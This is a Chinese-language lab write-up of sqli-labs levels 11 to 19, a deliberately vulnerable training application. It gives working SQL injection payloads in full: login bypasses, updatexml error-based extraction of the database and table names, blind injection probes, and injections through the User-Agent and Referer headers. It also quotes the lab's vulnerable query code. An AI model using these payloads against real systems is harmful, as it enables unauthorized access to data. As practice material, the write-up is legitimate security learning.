2019-05-14

sqli-labs（11-20）

第十一关

界面终于换口味啦

登录系统，目测万能密码或者md5

1、先试试万能密码

username=1' or 1#password=123 返回登录成功，用户名密码为id=1时的数据

如果在发包中要对 # 进行url编码 %23

uname=1%27+or+1%23&passwd=123&submit=Submit

2、额但是我要爆库

mysql_fetch_array() 函数从结果集中取得一行作为关联数组，所以虽然本地测试万能密码能得到所有结果，但是该函数只从结果集中取得一行，有点8xing

3、尝试 uname=11'&passwd=1&submit=Submit

出现报错

可以报错注入，但是为什么是这个报错呢？ 1' LIMIT 0,1 明明没有在passwd中的1后面加单引号，猜测这个单引号是本来就在的，但是前面那个单引号去哪了，被前面uname本来有的单引号配对走了。验证查询语句

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

4、构造报错注入

uname=11' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&passwd=1&submit=Submit

第十二关

1、界面和十一题一样，先尝试万能密码 username=1' or 1#password=123

发现不行。。。

username=1" or 1#password=123

报错，应该是注释符出错了，构造 username=1" or 1 and "1"="1&password=1" or 1 and "1"="1

结果为空

通常注释符出错是因为添加了括号，所以利用and

至于上面的万能密码结果为什么为空？

@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

带入变量之后

SELECT username, password FROM users WHERE username=("1" or 1 and "1"="1") and password=("1" or 1 and "1"="1") LIMIT 0,1

当然，万能密码还是有的，比如 uname=\&passwd=)or 1#&submit=Submit

2、说明存在报错注入，尝试

uname=11" and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1&passwd=1&submit=Submit

第十三关

和第十二关类似，把双引号改为单引号即可

第十四关

发现如下都可以

uname=11" and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1&passwd=1&submit=Submit

uname=11" and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&passwd=1&submit=Submit

源码为

@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

第十五关

直接在bp尝试

bool盲注

uname=admin' and 1 --+&passwd=admin&submit=Submit

uname=admin' and 0 --+&passwd=admin&submit=Submit

脚本参考第七关

也可以时间盲注

脚本参考第七关

第十六关

这题又是新的组合。。。

括号+单引号，括号+双引号，单引号，双引号，两个括号+单引号

看了源码才知道怎么闭合。。。

相当于 SELECT username, password FROM users WHERE username=("$uname") and password=("$passwd") LIMIT 0,1

构造 uname=") or 1--+&passwd=a&submit=Submit

第十七关

页面提示

猜测是update操作，猜测sql语句大概为

update users set password=$passwd where username=$uname;

1、尝试

uname=adn&passwd=a&submit=Submit

回显如下，应该是用户名不存在导致更新失败，验证操作应该是对操作影响条数进行判断

2、尝试

uname=a' or 1&passwd=11&submit=Submit 失败

uname=a" or 1&passwd=11&submit=Submit 失败

uname=a')# or 1&passwd=11&submit=Submit 失败

uname=a")# or 1&passwd=11&submit=Submit 失败

3、看看源码把，原来是分两次查询的，而且第一次查找uname还有check函数。。。

4、根据最后一行可以用报错注入，并且过滤函数没有对passwd进行过滤

魔术引号 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

当打开时，所有的 '（单引号），"（双引号），\（反斜线）和 NULL 字符都会被自动加上一个反斜线进行转义。这和 addslashes() 作用完全相同。

长度不能超过20

其中过滤函数 mysql_real_escape_string()

函数转义SQL 语句中使用的字符串中的特殊字符。

\x00 \n \r \ ' " \x1a

构造 uname=admin&passwd=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+&submit=Submit

这里uname一定要存在，不然无法进入下一次update操作

第十八关

不出意外应该是 insert into 操作记录访问ip

1、查看源代码

2、发现可以报错注入，并且只能通过uagent、ip进行，因为没有进行过滤

首先要登陆成功才能继续。。。

但是ip试了几次不知道为啥不行，

$_server[‘Remote_ADDR’]

用户IP将在HTTP标头中提供（例如X-Forwarded-For、client-ip）

在bp对ua进行修改为 User-Agent:1'

闭合构造 User-Agent:1' and '1'='1

报错注入 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

第十九关

之后每题都要求先登录。。。并且都是对uname和passwd进行check

和第十八关类似，把注入点从ua改成referer即可